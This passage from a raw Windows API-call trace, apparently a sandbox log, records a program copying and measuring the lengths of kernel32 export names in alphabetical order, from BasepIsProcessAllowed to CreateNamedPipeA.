[0046.290] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0046.290] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0046.290] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0046.290] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0046.290] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0046.290] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0046.290] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0046.290] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0046.290] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0046.290] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0046.290] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0046.291] lstrlenA (lpString="BEEP") returned 4 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0046.291] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0046.291] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0046.291] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0046.291] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0046.291] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0046.291] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0046.291] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0046.291] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0046.291] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0046.291] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0046.292] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0046.292] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0046.292] lstrlenA (lpString="CANCELIO") returned 8 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0046.292] lstrlenA (lpString="CANCELIOEX") returned 10 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0046.292] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0046.292] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0046.292] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0046.292] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0046.293] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0046.293] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0046.293] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0046.293] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0046.293] lstrlenA (lpString="CHECKELEVATION") returned 14 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0046.293] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0046.293] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0046.293] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0046.293] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0046.293] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0046.293] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0046.294] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0046.294] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0046.294] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0046.294] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0046.294] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0046.294] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0046.294] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0046.294] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0046.294] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0046.294] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0046.294] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0046.295] lstrlenA (lpString="CLOSESTATE") returned 10 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0046.295] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0046.295] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0046.295] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0046.295] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0046.295] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0046.295] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0046.296] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0046.296] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0046.296] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0046.296] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0046.296] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0046.296] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0046.296] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0046.296] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0046.296] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0046.296] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0046.296] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0046.297] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0046.297] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0046.297] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0046.297] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0046.297] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0046.297] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0046.297] lstrlenA (lpString="COPYCONTEXT") returned 11 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0046.297] lstrlenA (lpString="COPYFILE2") returned 9 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0046.297] lstrlenA (lpString="COPYFILEA") returned 9 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0046.297] lstrlenA (lpString="COPYFILEEXA") returned 11 [0046.297] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0046.298] lstrlenA (lpString="COPYFILEEXW") returned 11 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0046.298] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0046.298] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0046.298] lstrlenA (lpString="COPYFILEW") returned 9 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0046.298] lstrlenA (lpString="COPYLZFILE") returned 10 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0046.298] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0046.298] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0046.298] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0046.298] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0046.298] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0046.298] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0046.298] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0046.299] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0046.299] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0046.299] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0046.299] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0046.299] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0046.299] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0046.299] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0046.299] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0046.299] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0046.300] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0046.300] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0046.300] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0046.300] lstrlenA (lpString="CREATEEVENTA") returned 12 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0046.300] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0046.300] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0046.300] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0046.300] lstrlenA (lpString="CREATEEVENTW") returned 12 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0046.301] lstrlenA (lpString="CREATEFIBER") returned 11 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0046.301] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0046.301] lstrlenA (lpString="CREATEFILE2") returned 11 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0046.301] lstrlenA (lpString="CREATEFILEA") returned 11 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0046.301] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0046.301] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0046.301] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0046.301] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0046.301] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0046.301] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0046.301] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0046.302] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0046.302] lstrlenA (lpString="CREATEFILEW") returned 11 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0046.302] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0046.302] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0046.302] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0046.302] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0046.302] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0046.302] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0046.302] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0046.302] lstrlenA (lpString="CREATEJOBSET") returned 12 [0046.302] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0046.302] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0046.303] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0046.303] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0046.303] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0046.303] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0046.303] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0046.303] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0046.303] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0046.303] lstrcpyA (in: 